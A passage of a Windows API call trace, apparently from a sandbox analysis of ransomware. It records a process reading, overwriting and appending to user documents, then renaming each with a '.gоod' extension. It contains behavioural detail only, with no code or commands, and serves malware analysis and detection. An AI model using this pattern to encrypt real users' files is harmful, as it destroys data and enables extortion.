lpFileName="C:\\Users\\FD1HVy\\Documents\\4xMLA.pdf", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\4xMLA.pdf", lpFilePart=0x0) returned 0x23 [0234.187] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0234.187] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\4xMLA.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\4xmla.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0234.187] GetFileType (hFile=0x864) returned 0x1 [0234.187] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0234.187] GetFileType (hFile=0x864) returned 0x1 [0234.187] WriteFile (in: hFile=0x864, lpBuffer=0x3791a20*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x3791a20*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0234.187] CloseHandle (hObject=0x864) returned 1 [0234.188] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\4xMLA.pdf", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\4xMLA.pdf", lpFilePart=0x0) returned 0x23 [0234.188] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\4xMLA.pdf.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\4xMLA.pdf.gоod", lpFilePart=0x0) returned 0x28 [0234.188] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0234.188] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\4xMLA.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\4xmla.pdf"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3528e490, ftCreationTime.dwHighDateTime=0x1d4d36f, ftLastAccessTime.dwLowDateTime=0x40663660, ftLastAccessTime.dwHighDateTime=0x1d4d0b7, ftLastWriteTime.dwLowDateTime=0x87cd8560, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xd0f5)) returned 1 [0234.188] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0234.188] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\4xMLA.pdf" (normalized: "c:\\users\\fd1hvy\\documents\\4xmla.pdf"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\4xMLA.pdf.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\4xmla.pdf.gоod")) returned 1 [0234.189] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\5sK9P2CRAeD.ots", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\5sK9P2CRAeD.ots", lpFilePart=0x0) returned 0x29 [0234.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0234.189] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\5sK9P2CRAeD.ots" (normalized: "c:\\users\\fd1hvy\\documents\\5sk9p2craed.ots"), fInfoLevelId=0x0, lpFileInformation=0x39bbb28 | out: lpFileInformation=0x39bbb28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ceeab0, ftCreationTime.dwHighDateTime=0x1d4ca2d, ftLastAccessTime.dwLowDateTime=0xb18b6250, ftLastAccessTime.dwHighDateTime=0x1d4cb6e, ftLastWriteTime.dwLowDateTime=0xb18b6250, ftLastWriteTime.dwHighDateTime=0x1d4cb6e, nFileSizeHigh=0x0, nFileSizeLow=0x17158)) returned 1 [0234.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0234.189] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\5sK9P2CRAeD.ots", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\5sK9P2CRAeD.ots", lpFilePart=0x0) returned 0x29 [0234.189] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0234.189] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\5sK9P2CRAeD.ots" (normalized: "c:\\users\\fd1hvy\\documents\\5sk9p2craed.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0234.189] GetFileType (hFile=0x864) returned 0x1 [0234.189] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0234.189] GetFileType (hFile=0x864) returned 0x1 [0234.189] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0234.190] ReadFile (in: hFile=0x864, lpBuffer=0x39bbed0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x39bbed0*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0234.190] CloseHandle (hObject=0x864) returned 1 [0234.190] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\5sK9P2CRAeD.ots", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\5sK9P2CRAeD.ots", lpFilePart=0x0) returned 0x29 [0234.190] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0234.191] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\5sK9P2CRAeD.ots" (normalized: "c:\\users\\fd1hvy\\documents\\5sk9p2craed.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0234.191] GetFileType (hFile=0x864) returned 0x1 [0234.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0234.191] GetFileType (hFile=0x864) returned 0x1 [0234.191] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x17158 [0234.191] WriteFile (in: hFile=0x864, lpBuffer=0x39bd130*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x39bd130*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0234.191] CloseHandle (hObject=0x864) returned 1 [0234.191] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\5sK9P2CRAeD.ots", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\5sK9P2CRAeD.ots", lpFilePart=0x0) returned 0x29 [0234.191] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0234.191] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\5sK9P2CRAeD.ots" (normalized: "c:\\users\\fd1hvy\\documents\\5sk9p2craed.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0234.191] GetFileType (hFile=0x864) returned 0x1 [0234.191] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0234.191] GetFileType (hFile=0x864) returned 0x1 [0234.191] ReadFile (in: hFile=0x864, lpBuffer=0x39bf3b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x39bf3b8*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0234.938] CloseHandle (hObject=0x864) returned 1 [0234.938] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\5sK9P2CRAeD.ots", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\5sK9P2CRAeD.ots", lpFilePart=0x0) returned 0x29 [0234.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0234.939] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\5sK9P2CRAeD.ots" (normalized: "c:\\users\\fd1hvy\\documents\\5sk9p2craed.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0234.939] GetFileType (hFile=0x864) returned 0x1 [0234.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0234.939] GetFileType (hFile=0x864) returned 0x1 [0234.939] WriteFile (in: hFile=0x864, lpBuffer=0x37c30c0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x37c30c0*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0234.939] CloseHandle (hObject=0x864) returned 1 [0234.939] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\5sK9P2CRAeD.ots", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\5sK9P2CRAeD.ots", lpFilePart=0x0) returned 0x29 [0234.939] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\5sK9P2CRAeD.ots.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\5sK9P2CRAeD.ots.gоod", lpFilePart=0x0) returned 0x2e [0234.939] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0234.939] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\5sK9P2CRAeD.ots" (normalized: "c:\\users\\fd1hvy\\documents\\5sk9p2craed.ots"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa4ceeab0, ftCreationTime.dwHighDateTime=0x1d4ca2d, ftLastAccessTime.dwLowDateTime=0xb18b6250, ftLastAccessTime.dwHighDateTime=0x1d4cb6e, ftLastWriteTime.dwLowDateTime=0x883ff561, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x17168)) returned 1 [0234.939] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0234.939] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\5sK9P2CRAeD.ots" (normalized: "c:\\users\\fd1hvy\\documents\\5sk9p2craed.ots"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\5sK9P2CRAeD.ots.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\5sk9p2craed.ots.gоod")) returned 1 [0234.940] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\auvuHHNza97v.pptx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\auvuHHNza97v.pptx", lpFilePart=0x0) returned 0x2b [0234.940] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0234.940] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\auvuHHNza97v.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\auvuhhnza97v.pptx"), fInfoLevelId=0x0, lpFileInformation=0x38a8970 | out: lpFileInformation=0x38a8970*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20edde10, ftCreationTime.dwHighDateTime=0x1d54677, ftLastAccessTime.dwLowDateTime=0x677c5400, ftLastAccessTime.dwHighDateTime=0x1d56b4e, ftLastWriteTime.dwLowDateTime=0x677c5400, ftLastWriteTime.dwHighDateTime=0x1d56b4e, nFileSizeHigh=0x0, nFileSizeLow=0x7687)) returned 1 [0234.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0234.941] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\auvuHHNza97v.pptx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\auvuHHNza97v.pptx", lpFilePart=0x0) returned 0x2b [0234.941] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0234.941] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\auvuHHNza97v.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\auvuhhnza97v.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0234.941] GetFileType (hFile=0x864) returned 0x1 [0234.941] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0234.941] GetFileType (hFile=0x864) returned 0x1 [0234.941] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0234.941] ReadFile (in: hFile=0x864, lpBuffer=0x38a8d28, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x38a8d28*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0234.942] CloseHandle (hObject=0x864) returned 1 [0234.942] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\auvuHHNza97v.pptx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\auvuHHNza97v.pptx", lpFilePart=0x0) returned 0x2b [0234.942] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0234.942] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\auvuHHNza97v.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\auvuhhnza97v.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0234.942] GetFileType (hFile=0x864) returned 0x1 [0234.942] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0234.942] GetFileType (hFile=0x864) returned 0x1 [0234.942] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x7687 [0234.943] WriteFile (in: hFile=0x864, lpBuffer=0x38a9f90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x38a9f90*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0234.943] CloseHandle (hObject=0x864) returned 1 [0234.943] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\auvuHHNza97v.pptx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\auvuHHNza97v.pptx", lpFilePart=0x0) returned 0x2b [0234.943] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0234.943] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\auvuHHNza97v.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\auvuhhnza97v.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0234.943] GetFileType (hFile=0x864) returned 0x1 [0234.943] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0234.943] GetFileType (hFile=0x864) returned 0x1 [0234.943] ReadFile (in: hFile=0x864, lpBuffer=0x38ac220, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x38ac220*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0234.975] CloseHandle (hObject=0x864) returned 1 [0234.975] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\auvuHHNza97v.pptx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\auvuHHNza97v.pptx", lpFilePart=0x0) returned 0x2b [0234.975] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0234.975] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\auvuHHNza97v.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\auvuhhnza97v.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0234.975] GetFileType (hFile=0x864) returned 0x1 [0234.975] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0234.975] GetFileType (hFile=0x864) returned 0x1 [0234.975] WriteFile (in: hFile=0x864, lpBuffer=0x38aafa8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x38aafa8*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0234.976] CloseHandle (hObject=0x864) returned 1 [0234.976] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\auvuHHNza97v.pptx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\auvuHHNza97v.pptx", lpFilePart=0x0) returned 0x2b [0234.976] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\auvuHHNza97v.pptx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\auvuHHNza97v.pptx.gоod", lpFilePart=0x0) returned 0x30 [0234.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0234.976] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\auvuHHNza97v.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\auvuhhnza97v.pptx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x20edde10, ftCreationTime.dwHighDateTime=0x1d54677, ftLastAccessTime.dwLowDateTime=0x677c5400, ftLastAccessTime.dwHighDateTime=0x1d56b4e, ftLastWriteTime.dwLowDateTime=0x8844ba65, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7697)) returned 1 [0234.976] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0234.976] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\auvuHHNza97v.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\auvuhhnza97v.pptx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\auvuHHNza97v.pptx.gоod" (normalized: "c:\\users\\fd1hvy\\documents\\auvuhhnza97v.pptx.gоod")) returned 1 [0234.977] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\bgCEQ.pptx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\bgCEQ.pptx", lpFilePart=0x0) returned 0x24 [0234.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee6b0) returned 1 [0234.977] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\bgCEQ.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\bgceq.pptx"), fInfoLevelId=0x0, lpFileInformation=0x3928548 | out: lpFileInformation=0x3928548*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb9507b0, ftCreationTime.dwHighDateTime=0x1d563c0, ftLastAccessTime.dwLowDateTime=0x551c2a0, ftLastAccessTime.dwHighDateTime=0x1d57cca, ftLastWriteTime.dwLowDateTime=0x551c2a0, ftLastWriteTime.dwHighDateTime=0x1d57cca, nFileSizeHigh=0x0, nFileSizeLow=0x100bb)) returned 1 [0234.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee670) returned 1 [0234.977] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\bgCEQ.pptx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\bgCEQ.pptx", lpFilePart=0x0) returned 0x24 [0234.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0234.977] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\bgCEQ.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\bgceq.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0234.977] GetFileType (hFile=0x864) returned 0x1 [0234.977] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0234.977] GetFileType (hFile=0x864) returned 0x1 [0234.978] SetFilePointer (in: hFile=0x864, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x1000 [0234.978] ReadFile (in: hFile=0x864, lpBuffer=0x39288d0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee6d8, lpOverlapped=0x0 | out: lpBuffer=0x39288d0*, lpNumberOfBytesRead=0x1f9ee6d8*=0x1000, lpOverlapped=0x0) returned 1 [0234.978] CloseHandle (hObject=0x864) returned 1 [0234.978] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\bgCEQ.pptx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\bgCEQ.pptx", lpFilePart=0x0) returned 0x24 [0234.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0234.979] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\bgCEQ.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\bgceq.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0234.979] GetFileType (hFile=0x864) returned 0x1 [0234.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0234.979] GetFileType (hFile=0x864) returned 0x1 [0234.979] SetFilePointer (in: hFile=0x864, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f9ee708*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f9ee708*=0) returned 0x100bb [0234.979] WriteFile (in: hFile=0x864, lpBuffer=0x3929b20*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f9ee5f8, lpOverlapped=0x0 | out: lpBuffer=0x3929b20*, lpNumberOfBytesWritten=0x1f9ee5f8*=0x10, lpOverlapped=0x0) returned 1 [0234.979] CloseHandle (hObject=0x864) returned 1 [0234.979] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\bgCEQ.pptx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\bgCEQ.pptx", lpFilePart=0x0) returned 0x24 [0234.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0234.979] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\bgCEQ.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\bgceq.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0234.979] GetFileType (hFile=0x864) returned 0x1 [0234.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0234.979] GetFileType (hFile=0x864) returned 0x1 [0234.979] ReadFile (in: hFile=0x864, lpBuffer=0x392bd98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f9ee688, lpOverlapped=0x0 | out: lpBuffer=0x392bd98*, lpNumberOfBytesRead=0x1f9ee688*=0x1000, lpOverlapped=0x0) returned 1 [0236.130] CloseHandle (hObject=0x864) returned 1 [0236.131] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\bgCEQ.pptx", nBufferLength=0x105, lpBuffer=0x1f9ee090, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\bgCEQ.pptx", lpFilePart=0x0) returned 0x24 [0236.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee5b0) returned 1 [0236.131] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\bgCEQ.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\bgceq.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x864 [0236.131] GetFileType (hFile=0x864) returned 0x1 [0236.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee520) returned 1 [0236.131] GetFileType (hFile=0x864) returned 0x1 [0236.131] WriteFile (in: hFile=0x864, lpBuffer=0x383ce98*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f9ee738, lpOverlapped=0x0 | out: lpBuffer=0x383ce98*, lpNumberOfBytesWritten=0x1f9ee738*=0x1010, lpOverlapped=0x0) returned 1 [0236.131] CloseHandle (hObject=0x864) returned 1 [0236.131] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\bgCEQ.pptx", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\bgCEQ.pptx", lpFilePart=0x0) returned 0x24 [0236.131] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\bgCEQ.pptx.gоod", nBufferLength=0x105, lpBuffer=0x1f9ee1e0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\Documents\\bgCEQ.pptx.gоod", lpFilePart=0x0) returned 0x29 [0236.131] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f9ee670) returned 1 [0236.131] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\bgCEQ.pptx" (normalized: "c:\\users\\fd1hvy\\documents\\bgceq.pptx"), fInfoLevelId=0x0, lpFileInformation=0x1f9ee750 | out: lpFileInformation=0x1f9ee750*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb9507b0, ftCreationTime.dwHighDateTime=0x1d563c0, ftLastAccessTime.dwLowDateTime=0x551c2a0, ftLastAccessTime.dwHighDateTime=0x1d57cca, ftLastWriteTime.dwLowDateTime=0x88f529c0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x100cb)) returned 1 [0236.131] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f9ee630) returned 1 [0236.132] MoveFileW 